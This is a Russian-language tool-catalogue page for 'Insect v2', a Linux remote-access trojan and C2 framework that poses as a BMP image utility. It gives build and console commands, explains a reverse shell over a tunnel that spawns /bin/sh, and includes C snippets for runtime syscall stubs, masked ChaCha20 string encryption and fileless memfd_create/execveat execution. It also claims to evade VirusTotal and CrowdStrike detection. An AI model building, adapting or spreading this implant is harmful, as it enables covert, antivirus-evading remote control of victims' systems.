Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FUD-C2-Framework — Файловая реверс-оболочка и C2-фреймворк, использующий прямые системные вызовы, прокси-туннелирование и шифрование ChaCha20 для обхода антивирусов. | Kitploit
Инструменты/GitHubGitHub/x3r0day/fud-c2-framework
Инструменты шифрования/дешифрованияМеханизмы персистентностиОбход IDS/IPSОбратная инженерияШелл-кодПост-эксплуатацияАнализ вредоносных программТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
71154 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Троян Удаленного Доступа
GitHubx3r0day/fud-c2-framework

FUD-C2-Framework

Файловая реверс-оболочка и C2-фреймворк, использующий прямые системные вызовы, прокси-туннелирование и шифрование ChaCha20 для обхода антивирусов.

Репозиторий

Fileless Execution & Evasion

Insect v2 - C2 Framework

Insect — это C2-троян для файловых reverse shell и beacon-пейлоадов Linux. Этот троян маскируется под утилиту обработки 24-битных BMP-изображений. Он использует Dynamic Syscall Stubs, memfd_create, строковые ресурсы, зашифрованные ChaCha20, tunnel proxy и ICC Profile Encryptor для обхода статического анализа. C2-сервер поддерживает 2 типа пейлоадов: interactive и beacon.

Ручное создание syscall — старая техника, но для Insect v2 я усовершенствовал способ построения стабов во время выполнения, чтобы оставаться незамеченным современными сканерами. Динамически конструируя syscall, пейлоад избегает стандартных сигнатур, которые обычно ловят статические антивирусы.

В реальных тестах он успешно обошёл все движки на VirusTotal. Я также протестировал его против CrowdStrike Falcon, где он получил «зелёный флаг» без обнаружений от статического движка. Во время динамического анализа он вызвал лишь одно незначительное подозрение и в итоге также был признан безопасным.

Отказ от ответственности: Insect V2 находится в стадии разработки, к тому же я не одобряю никакой незаконной деятельности. Вы можете свободно использовать его для целей red teaming. И модифицировать его.

Архитектура

server.py       →  multi-session C2 console
main.c          →  revshell implant (interactive shell)
main_beacon.c   → beacon implant (task-driven polling)

Сборка

У нас есть 2 профиля:

# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>

# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>

Оба создают бинарник bmputil. Билдер шифрует все открытые строки с помощью ChaCha20 во время сборки, шифрует скомпилированный ELF с помощью маски ICC-профиля, разбивает его по именованным ELF-секциям и генерирует загрузочный стаб.

Сервер

python3 server.py

По умолчанию запускает слушатель на 0.0.0.0:8080.

(insect) > list                       # show active sessions
(insect) > use rev-a1b2c3d4           # interact with a revshell
(insect) > task bea-deadbeef whoami   # queue a command for a beacon
(insect) > tasks bea-deadbeef         # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit

Сессии отслеживаются по уникальному 4-байтовому статическому ID, встроенному во время сборки.

Сессии Revshell

При выполнении на целевой машине пейлоад принимает фиктивные аргументы для поддержания правдоподобности:

./bmputil input.bmp output.bmp --grayscale

Под капотом он форкается, подключается обратно к C2 через туннель Minecraft handshake (playit.gg) и ждёт триггер 0xDEAD. После срабатывания он перенаправляет stdin/stdout/stderr в сокет и запускает /bin/sh.

C2-сервер хранит revshell-соединения в реестре сессий. Используйте use <id>, чтобы подключить ваш терминал к сессии.

Сессии Beacon

Beacon'ы подключаются, регистрируются со своим встроенным beacon_id, проверяют наличие ожидающих задач, выполняют их через fork + pipe + execve, сообщают результаты, затем спят 30 секунд и переподключаются.

Используйте task <id> <command> для постановки задач в очередь. Результаты хранятся в памяти и просматриваются с помощью tasks <id>.

Технические детали.

Оба профиля используют одни и те же примитивы обхода:

Динамическое конструирование syscall

uint8_t stub[] = {
    0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6, 
    0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8, 
    0x0f, 0x05, 0xc3
};

memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);

Как обсуждалось ранее, опкоды syscall (0F 05) конструируются во время выполнения в исполняемой памяти, чтобы избежать статического анализа.

Шифрование строк ChaCha20

static void _transform_resource(
        const uint8_t *in, uint8_t *out, int len,
        const uint8_t nce[8], int add_null
) {
        uint32_t state[16] = {
                0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
                // ...
        };
}

Каждая строка шифруется во время сборки с уникальным nonce. XOR-маска на константах состояния блокирует обнаружение на основе сигнатур настройки ChaCha20.

Файловое выполнение (memfd_create + execveat)

long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);

if (fd >= 0) {
    _sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
    long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
    if (p == 0) {
        char *args[] = { (char *)APP_NAME, NULL };
        _sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
        _sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
    }
    _sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}

Пейлоад выполняется полностью из памяти через memfd_create + execveat. Технически memfd_create и execveat обнаруживаются антивирусами, но они зашифрованы и создаются во время выполнения, и, что удивительно, в реальных тестах не помечаются.

Шифрование ICC-профиля (загрузочный стаб)

Промежуточный ELF XOR-шифруется с помощью гамма-корректированной таблицы цветовых преобразований ICC и случайного 32-байтового ключа, затем разбивается по 8 именованным секциям .rodata.blk*. Загрузочный стаб собирает, расшифровывает и выполняет его.

Заключительные замечания

Этот метод не является чем-то новым, скорее это старая техника, но insect v2 модифицирует и перереализует техники, упомянутые в различных статьях по безопасности и вредоносном ПО, вы можете ознакомиться с ними здесь:

Ссылки

  • memfd_create + execveat fileless execution - hackerschoice/memexec, kernelmethod/tardis
  • In-Memory-Only ELF Execution - MagisterQuis (2018)
  • Loading fileless Shared Objects (memfd_create + dlopen) - X-C3LL (2018)
  • Running ELF from memory / Ezuri loader - guitmz (2019)
  • Super-Stealthy Droppers - 0x00sec (2017)
  • Assembly ELF memfd loader - zznop (2018)
  • Python in-memory ELF execution - Mitsurugi (2019)
  • A Fileless ELF Dropper - Hkopp (2023)
  • Dynamic syscall stubs - SysWhispers2, SysWhispers3
  • ChaCha20 (RFC 8439) - IETF RFC 8439
  • Kiteshield ELF Packer - Qianxin XLab
Скачать инструмент